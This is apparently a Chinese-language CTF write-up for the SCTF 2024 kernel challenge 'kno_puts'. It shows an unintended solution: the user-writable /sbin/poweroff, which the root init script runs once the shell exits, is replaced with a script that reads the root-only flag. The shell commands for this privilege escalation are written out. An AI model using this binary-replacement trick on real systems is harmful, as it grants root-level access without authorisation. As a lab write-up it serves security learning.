sctf2024 - kno_puts

RocketDev

文件系统权限没设置好,非预期了。root启动init脚本,随后以1000身份将shell暴露给用户, 在shell运行结束后执行poweroff。结果poweroff是可写的,将其替换为cat /flagexit就可以拿flag

/init
1
2
3
4
5
6
...
chmod 400 flag
insmod /test.ko
mknod -m 666 /dev/ksctf c `grep ksctf /proc/devices | awk '{print $1;}'` 0
setsid /bin/cttyhack setuidgid 1000 /bin/sh
poweroff -d 600 -f
1
2
3
4
5
6
7
8
9
10
$ which poweroff
/sbin/poweroff
$ ls -ld sbin
drwxr-xr-x 2 1000 1000 1480 Sep 26 04:41 sbin
$ ls -l sbin/poweroff
lrwxrwxrwx 1 1000 1000 14 Sep 26 18:02 sbin/poweroff -> ../bin/busybox
$ rm sbin/poweroff
$ echo 'cat /flag' > /sbin/poweroff
$ chmod +x /sbin/poweroff
$ exit

flag

预期解好像考到缺页错误引发的暂停,有点超出我的知识范畴了

看到了qanux师傅的一题5解,吓了一跳,太强了Orz

参考

一题多解 SCTF 2024 kno_puts revenge

  • 标题: sctf2024 - kno_puts
  • 作者: RocketDev
  • 创建于 : 2024-10-22 00:42:00
  • 更新于 : 2024-10-27 11:21:00
  • 链接: https://rocketmadev.github.io/2024/10/21/kno_puts/
  • 版权声明: 本文章采用 CC BY-NC-SA 4.0 进行许可。
评论
目录
sctf2024 - kno_puts